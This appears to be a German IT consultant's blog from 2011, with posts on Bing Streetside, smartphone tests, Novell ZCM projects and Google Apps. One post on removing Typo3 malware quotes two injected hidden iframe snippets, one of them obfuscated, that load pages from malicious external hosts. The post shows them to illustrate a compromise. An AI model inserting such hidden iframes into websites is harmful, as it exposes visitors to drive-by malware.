Bing Maps Streetside – Wozu das Rad noch mal erfinden?

23. Mai 2011

 

Liebe Leser,

 

heute las ich, dass Microsoft nun auch seine Kameraautos in die Spur schickt, um die reale Welt zu digitalisieren.

Bei mir kamen gleich die Fragen hoch, macht das Sinn, was wollen Sie besser machen als Google Streetview, ist das nicht Energieverschwendung, welchen Mehrwert bekommen wir als Benutzer?

Letztlich müssen die ganzen Daten wieder von Microsoft aufgenommen, aufbereitet und in deren Rechenzentren gehostet werden, was wieder eine Menge Energie kostet. Auch ein hohes unternehmerisches Risiko für Microsoft, da andere Anbieter hier viel länger am Markt sind.

Ich bin sehr skeptisch, ob sich im Cloudzeitalter viele verschiedene Anbieter auf ein und dieselbe Sache stürzen sollten, da hierfür eine enormer energetischer als auch personeller Aufwand an Ressourcen nötig ist.

Ich denke mit der Cloud und der Globalisierung, kann durchaus darüber nachgedacht werden bestimmten Anbietern die Felder zu überlassen in denen sie wirklich gut sind, bspw.

Google – die Suchdiensten und der Digitalisierung der Welt

Facebook  – dem Social Networking

Wikipedia – das weltweite Lexikon

usw.

Gerade die Gesichtspunkte Ressourcenschonung und Nachhaltigkeit müssen im Cloudzeitalter neu überdacht werden. Es wird in naher Zukunft wohl kaum möglich sein, dass verschiedene Unternehmen unzählige Rechenzentren auf der Welt betreiben, welche auch noch gleichen Dienste mit nur geringem Mehrwert für uns Benutzer anbieten.

Clouddienste müssen aufgeteilt werden und als menschliches Kulturgut betrachtet werden, da Sie jetzt schon sehr komplex und nahezu einzigartig sind, wie bspw. ein Gemälde von Picasso. Sicher wird es in naher Zukunft auch gesellschaftliche Regelungen geben (müssen), wie mit solchen Gütern umgegangen wird.

Für den Fall Streetside, können die Unternehmen Google und Microsoft die Streetview Daten auch teilen, wenn Microsoft meint mehr daraus machen zu können als Google. Eine bis jetzt noch idealistische Vorstellung, aber durchaus sinnvoll.

Was natürlich gegen diese Regelungen spricht ist der freie Markt.

Es bleibt auf jeden Fall spannend wie es hier in Zukunft weitergeht.

Mit freundlichen Grüßen

IT Consulting Oliver Fischer

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LG Optimus Speed P990 im Praxistest

17. Mai 2011

 

Liebe Leser,

 

IMG006nach dem ich zuletzt das Google Nexus S getestet hatte, wollte ich mir noch einen weiteren Kandidaten aus dem Smartphonebereich ansehen.

Wie auch schon im letzten Artikel, spreche ich hier nur die Dinge an, die aus meiner Sicht noch nicht so ganz optimal gelöst sind. Wenn ich schon 400-600€ für ein Smartphone investiere, möchte ich auch maximalen Komfort und beste Technik.

Aber wie man sieht, haben die Geräte immer noch Schwächen. Wo liegen diese nun beim LG Optimus Speed 990?

  1. Das LG Optimus Speed 990 und das Opel Bluetooth CD 70 Navi funktionieren etwas besser als mit dem Nexus S. Es kommt zumindest ab und zu eine Verbindung zu Stande, wenn auch sporadisch. Man muss mehrmals versuchen die beiden Geräte miteinander zu verbinden, irgendwann klappt es dann auch. Freisprechen ist dann möglich, nach einem Gespräch kann es durchaus sein, dass die Bluetoothverbindung zum CD 70 Navi wieder getrennt wird. Alles in allem eine nicht zufriedenstellende Situation. Als Vielfahrer eine recht lästige Angelegenheit, die mich schon den ein oder anderen Nerv gekostet hat.
  2. Der herkömmliche Wecker funktioniert bei Android Smartphones anscheinend nur im Online Modus. Schaltet man das Gerät ab, kann man schon mal verschlafen, da sich hier dann nichts mehr tut. So auch beim LG Optimus Speed 990. Da es bei Smartphones auch eine sog. Strahlenbelastung gibt, überlegt man sich, ob das ganze Smartphone nachts anbleibt.
  3. Die Akkuleistung des LG Optimus Speed 990 ist ok, wobei es Verbesserungsmöglichkeiten im Energiemanagement gibt. Ich hatte es 8h im Betrieb ohne WLAN, ohne GPS, ohne Bluetooth, mit Radiostreaming, vielen Foto- und Videoaufnahmen. Schaltet man alle Dienste inklusive GPS, WLAN und Bluetooth an und surft viel im Internet, ist der Akku vergleichsweise schnell leer.
  4. Gewöhnungsbedürftig ist auch der Autofokus der Fotokamera, der sich erst nach dem Drücken des Auslöseknopfes scharf stellt, dann aber recht gute Fotos in 8 Megapixel Qualität macht. Gut finde ich den Digitalzoom der Kamera während einer Videoaufnahme.
  5. Die Sprachqualität ist mir von mehreren als verbesserungswürdig bestätigt worden. Der Ton soll teilweise leise und von minderer Qualität sein. Selbst habe ich es nicht getestet, wurde nur von Gesprächsteilnehmern darauf hingewiesen, obwohl diese nicht wussten, dass ich mit diesem Gerät telefoniere. Solche Rückinformationen gab es z.b. beim Google Nexus S nicht.

In einigen Tagen wird das Samsung Galaxy S2 auf den Markt kommen, dieses werde ich mir dann auch noch genauer ansehen und hoffentlich zu einem finalen Kauf ermutigt.

Mit freundlichen Grüßen

IT Consulting Oliver Fischer

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Google Nexus S GT-I9023 im Praxistest

05. Mai 2011

 

Gleich das Positive vorweg, das Handy ist schon sehr gut, was Technik und Design  betrifft. Ich kann es absolut weiterempfehlen.

Aber letztendlich sind es ja immer die Dinge die noch nicht so ganz optimal sind, wo ich sage:

”schade, dass hätte man auf Anhieb doch besser machen können.”

Diese Dinge werde ich in diesem Artikel kurz ansprechen.

  1. Die Bluetooth Verbindung zwischen dem Google Nexus S und einem Opel CD Nav 70 funktioniert nicht. Die Verbindung kommt ganz kurz zu Stande und wird dann wieder getrennt. Hier kann ein Update der Opel CD NAV 70 Firmware beim Opelhändler helfen, die ca. 40,-€ kostet oder ein Update der Google Nexus S Firmware, welches bis dato aber noch nicht zur Verfügung steht. Die Frage hier stellt sich nun an welcher Seite es liegt? Da bspw. mein Nokia E71 und ein Blackberry Curve 8300 ohne Probleme mit dem Opel CD Nav 70 über Bluetooth funktionieren, scheint das Problem hier doch eher auf der Google Nexus S Seite zu liegen.
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ZCM 11 Appliance über Internet testen

06. April 2011

 

Sehr geehrte Kunden,

 

wir haben für Sie eine ZCM 11 Enterprise Backendumgebung aufgebaut, mit der Sie die ZCM 11 Funktionalitäten auf Gerätebasis inkl. Endpoint Security und Patchmanagement 60 Tage lang Mo-Fr von 9.00-19.00 Uhr unverbindlich testen können.

Vorteile:

  1. Sie benötigen keinen eigene Serverinfrastruktur
  2. Sie müssen ZCM 11 nicht selbst implementieren
  3. wir können Ihre individuelle ZCM 11 Appliance bei Bedarf auch in Ihr Rechenzentrum übertragen
  4. Sie können Ihre Clients selbst oder komplett durch uns managen lassen, wie bspw.:

            -Softwareverteilung
            -Remotesteuerung
            -Endgeräte Sicherheit
            -Inventarisierung
            -Betriebssystem Rollout (durch lokalen Satellitenserver bei Ihnen im RZ)

Wie können Sie jetzt testen?

  1. Kontaktieren Sie uns als erstes um Fragen des
    -Testumfanges,
    -Sicherheit,
    -Verfügbarkeit,
    -Skalierbarkeit
    -Funktionalität 

    und Organisation zu klären.

 

Sie sind an dieser Lösung interessiert?

Kontaktieren Sie uns einfach!

Mit freundlichen Grüßen

Oliver Fischer

IT Consulting – Oliver Fischer

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Spenden Sie für Japan!

17. März 2011

Sehr geehrte Kunden,

jeden Tag sehen wir die schrecklichen Bilder aus Japan. Dazu muss nicht viel gesagt werden.

Wir haben gespendet, tun Sie es auch!

http://www.aktion-deutschland-hilft.de/

Vielen Dank !

Oliver Fischer

IT Consulting – Oliver Fischer

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Kein Endpoint nach ZCM 11 Update

24. Februar 2011

 

Sehr geehrte Kunden,

 

bei einer unserer letzten Projekte im Bereich ZCM 11 stießen wir auf das Problem, das nach dem Update von ZCM 10 auf ZCM 11 kein Endpoint Security im ZCC verfügbar war und auch sonst einige Ungereimtheiten im ZCC auftraten. Dies scheint allerdings nur die Kunden mit einer Microsoft SQL Datenbank im Backend zu betreffen.

Ein weiterer Punkt der nicht funktionierte war, die Zenworks-Agent Konfiguration lässt sich z.B. nicht speichern.

Möchten Sie sich die Zeit der Lösungssuche ersparen,

kontaktieren Sie uns einfach!

Mit freundlichen Grüßen

Oliver Fischer

IT Consulting – Oliver Fischer

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03/2011 Windows 7 Rollout Projekt mit ZCM

24. Februar 2011

– Kunde aus dem Engineering- und Automotivebereich mit ca. 350 XP Clients

Im März diesen Jahres haben wir einen Kunden bei der Migration auf Windows 7 professionell unterstützt.

Dabei ging es in erster Linie um die Konzeptionierung des Rollouts sowie die praxisnahe Umsetzung.

Die Umgebung des Kunden beinhaltet sowohl ein eDirectory als auch ein Active Directory, wobei die 350 XP Clients auch Mitglieder der Windows Domäne sind.

Mit Hilfe von Novell ZCM können die Clients jetzt völlig automatisiert auf Windows 7 Professional umgestellt werden.

Novell ZCM bietet hier ideale Möglichkeiten, wie bspw. des Zero-Touch-Deployments, d.h. als Administrator können Sie dem User per Mausklick und ohne an den Client vor-Ort zu müssen Windows 7 bereitstellen.

Das Konzept beinhaltet folgende Leistungen/ Lösungen:

  1. Erstellung ein oder mehrerer Windows 7 SysPrep Basisimages für die automatische Verteilung
  2. Automatische Domänenanbindung der Clients
  3. Benennung neuer Clients nach vorgegebenen Namenskonventionen
  4. Scriptierung, Test und automatische Verteilung von Anwendungen
  5. Administrationsworkshop Windows 7 Rollout

Möchten Sie mehr über dieses Projekt erfahren oder wünschen Sie ein Angebot für Ihr Unternehmen?

Kontaktieren Sie uns einfach!

Mit freundlichen Grüßen

Oliver Fischer

IT Consulting – Oliver Fischer

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02/2011 ZCM 11 Update

24. Februar 2011

 

ZCM 11 Update – Kunde aus dem öffentlichen Dienst (2300 Clients)

ZCM 11 Update – Kunde im Einzelhandel mit ca. 250 XP Clients

Sehr geehrte Kunden,

im Februar konnten wir erfolgreich bei mehreren Kunden das Update von ZCM 10 auf ZCM 11 durchführen. Die Kunden befanden sich noch in der Pilotphase mit ZCM 10. Es war an der Stelle vernünftig vor der Produktionsphase gleich auf die Version ZCM 11 zu gehen.

Folgende Lösungen/Leistungen gehören zum Projekt:

  1. Sichern der ZCM Datenbank
  2. ZCM Datenbank Kompatibilitätscheck
  3. ZCM 11 Update Installation
  4. ZCM 11 Funktionstest
  5. ZCM 11 Administrationsworkshop für die neuen Funktionen

Möchten Sie mehr über dieses Projekt erfahren oder das ZCM 11 Update auch in Ihrer Umgebung durchführen?

Kontaktieren Sie uns einfach!

Mit freundlichen Grüßen

Oliver Fischer

IT Consulting – Oliver Fischer

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Typo3 Malware entfernen

15. Februar 2011

 

Sehr geehrte Kunden,

in einem meiner letzten Typo3 Projekte schlich sich Malware auf dem Typo3 System ein.

Dies führte dazu, dass bspw. Google die Seite als schadhaft indiziert.

Schaut man sich die eigentliche Webseite genauer an, findet man in der Tat seltsame iframe Aufrufe wie z.B.:

<iframe frameborder="0" height="0" name="frame1" scrolling="no" src="http://batter.puloraya.com:8080/home/1/" width="0"></iframe>

document.write(‚<ifr’+’ame frameborder="0" height="0" name="frame1" scrolling="no" src="http://sstew.forgottencelebs.com/home/1/" width="0"></ifr’+’ame>‘);

Hier handelt es sich eindeutig um eingeschleusten Schadcode.

Wir bereinigen Ihre Typo3 Webseite vom Schadcode.

Folgende Leistungen gehören dazu:

  1. Bereinigen des Typo3 von Malware

  2. zusätzliche Absicherung der Typo3 Webseite

  3. Freischaltung Ihrer Webseite bei Google

Haben Sie Fragen zu dieser Lösung?

Kontaktieren Sie uns einfach !

Mit freundlichen Grüßen

Oliver Fischer

IT Consulting – Oliver Fischer

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Google Apps for Business

13. Januar 2011

 

Sehr geehrte Kunden,

ein erfolgreiches Jahr 2010 liegt hinter uns. Dies haben wir unter anderem auch Google Apps zu verdanken.

Von Beginn an setzten wir auf die Businesslösung von Google. Warum?

Wir standen vor der Entscheidung in eine eigene Kommunikationslösung, die für uns zusätzlichen Wartungs -und Energiekostenaufwand bedeuten würde, oder in eine Cloudlösung zu investieren. 

Letztlich viel die Entscheidung für Google Apps Professionell, weil uns diese die beste Funktionalität, Performance und Skalierbarkeit bietet.

Für 40,-€ im Jahr pro User bekommen wir die Applikationen die für unsere Unternehmenskommunikation wichtig sind, wie beispielsweise:

-GoogleDocs (Textverarbeitung, Präsentationen, Tabellen-kalkulation,  Zeichnungen um Infrastrukturpläne zu erstellen)

-GoogleSites (für Projektdokumentationen)

-GoogleMail (25GB Postfachspeicher pro User, schnelle Suche und Synchronisation von Mail, Kontakten und Kalender mit mobilen Endgeräten)

uvm.

Alles in Allem sind wir mit der Lösung bis jetzt sehr zufrieden und immer wieder begeistert von den innovativen Neuerungen die Google in seine Produkte einbaut.

 

Mit freundlichen Grüßen

IT Consulting Oliver Fischer

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